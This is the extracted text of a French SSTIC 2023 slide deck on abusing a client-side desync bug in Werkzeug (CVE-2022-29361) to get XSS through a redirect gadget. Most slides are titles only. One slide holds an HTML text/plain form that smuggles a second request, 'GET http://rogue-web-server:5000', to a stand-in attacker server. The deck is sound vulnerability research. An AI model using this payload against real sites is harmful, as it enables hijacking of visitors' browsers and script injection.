Abusing Client-Side Desync on Werkzeug

Werkzeug

Kévin GERVOT

1/27
 

Bug de parsing

Kévin GERVOT

2/27
 

Que faire avec ce type de bug ?

Kévin GERVOT

3/27
 

Client-Side Desync (CSD)

Kévin GERVOT

4/27
 

Client-Side Desync (CSD)

Kévin GERVOT

5/27
 

Client-Side Desync (CSD)

Kévin GERVOT

6/27
 

Client-Side Desync (CSD)

Kévin GERVOT

7/27
 

Client-Side Desync (CSD)

Kévin GERVOT

8/27
 

Client-Side Desync (CSD)

Kévin GERVOT

9/27
 

Client-Side Desync (CSD)

Kévin GERVOT

10/27
 

Client-Side Desync (CSD)

Kévin GERVOT

11/27
 

Exploitation d'une CSD

Kévin GERVOT

12/27
 

Peut-on transformer une CSD en XSS ?

Kévin GERVOT

13/27
 

Problématiques

Kévin GERVOT

  • Pas d'intéraction avec un serveur distant
  • Pas de controle sur les fichiers du serveur vulnérable
  • Pas de vulnérabilités supplémentaires

14/27
 

Idée d'exploitation

Kévin GERVOT

15/27
 

Comment trouver une redirection dans Werkzeug ?

Kévin GERVOT

16/27
 

CVE-2020-28724

Kévin GERVOT

17/27
 

CVE-2020-28724

Kévin GERVOT

18/27
 

Fix de la CVE-2020-28724

Kévin GERVOT

19/27
 

Gadget toujours présent

Kévin GERVOT

20/27
 

Exploitation

Kévin GERVOT

21/27
 

Comment mettre en place l'exploitation depuis un client ?

Kévin GERVOT

22/27
 

Formulaire text/plain

<form action="http://vulnerable-website/" method="POST"
	enctype="text/plain"
>

<textarea name="GET http://rogue-web-server:5000 HTTP/1.1
Foo: x">Mizu</textarea>

<button type="submit">START</button>
</form>

Kévin GERVOT

23/27
 

Formulaire text/plain

Kévin GERVOT

24/27
 

Exploitation de la vulnérabilité

Kévin GERVOT

25/27
 

Correction du bug

Kévin GERVOT

26/27
 

Conclusion

Kévin GERVOT

27/27
 

SSTIC 2023 | Abusing Client-Side Desync on Werkzeug | CVE-2022-29361

By Kévin (Mizu)

SSTIC 2023 | Abusing Client-Side Desync on Werkzeug | CVE-2022-29361

  • 1,098